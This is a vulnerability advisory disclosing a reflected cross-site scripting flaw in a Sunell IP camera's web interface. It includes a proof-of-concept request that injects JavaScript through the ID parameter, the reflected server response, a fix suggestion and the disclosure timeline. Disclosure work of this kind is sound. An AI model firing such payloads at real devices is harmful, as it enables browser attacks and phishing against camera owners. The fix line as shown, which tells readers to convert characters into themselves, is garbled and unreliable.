Sunell IPCAMERA IPR54/14AKDN(II)/13 Cross Site Scripting
Posted on 27 May 2017
############################################################# # # COMPASS SECURITY ADVISORY # https://www.compass-security.com/research/advisories/ # ############################################################# # # Product: Sunell IPCAMERA IPR54/14AKDN(II)/13 [1] # Vendor: Shenzhen Sunell Technology Corporation # CSNC ID: CSNC-2017-010 # Subject: Reflected Cross-Site Scripting # Risk: High # Effect: Remotely exploitable # Author: Stephan Sekula <stephan.sekula@compass-security.com> # Date: 18.04.2017 # ############################################################# Introduction: ------------- Sunell's IPR54/14AKDN(II)/13 is an all-in-one Bullet camera designed for indoor and outdoor applications. Equipped with a 2MP sensor enabling viewing resolution of 1920*1080 at a smooth 30fps.The camera is capable of capturing high quality video at high resolution of up to 2MP even in low light environments. [1] Compass Security discovered a web application security flaw in the camera's web interface, which allows an attacker to manipulate the resulting website. This allows, for instance, attacking the user's browser or redirecting the user to a phishing website. In order to do so, the attacker only needs to forge a malicious link. Affected: --------- Vulnerable: * v2.0.0801.1002.1.1.136.0.0 Technical Description --------------------- The camera's web interface uses an ID parameter, which can be manipulated. If this parameter contains JavaScript code, it is executed in the user's browser. Exploiting the vulnerability will lead to so-called Cross-Site Scripting (XSS), allowing the execution of JavaScript in the context of the victim. Request: GET /asppage/common/index.asp?ID=59581";alert(0);"&lg=1 HTTP/1.1 Host: 192.168.0.120 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.0 Iceweasel/44.0.2 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: coobjMenuTree=; csobjMenuTree=OperationLog Connection: close Response: HTTP/1.0 200 OK Server: GoAhead-Webs/2.5.0 PeerSec-MatrixSSL/3.4.2-OPEN Cache-Control: max-age=180 Content-type: text/html [CUT] <html> <head> <meta HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=utf-8"> <title>IP Camera</title> [CUT] <script language=javascript> vID = "59581";alert(0);"";vHasRefererFlag="0"; </script> [CUT] </html> Workaround / Fix: ----------------- This issue can be fixed by properly encoding all output, which is posted back to the user. For instance, using HTML encoding, to convert < to < and > to >. Timeline: --------- 2017-05-18: Public disclosure date 2017-04-18: Vendor notification (No response) 2017-03-22: Initial vendor notification (No response) 2017-03-22: Discovery by Stephan Sekula References: ----------- [1] http://www.sunellsecurity.com
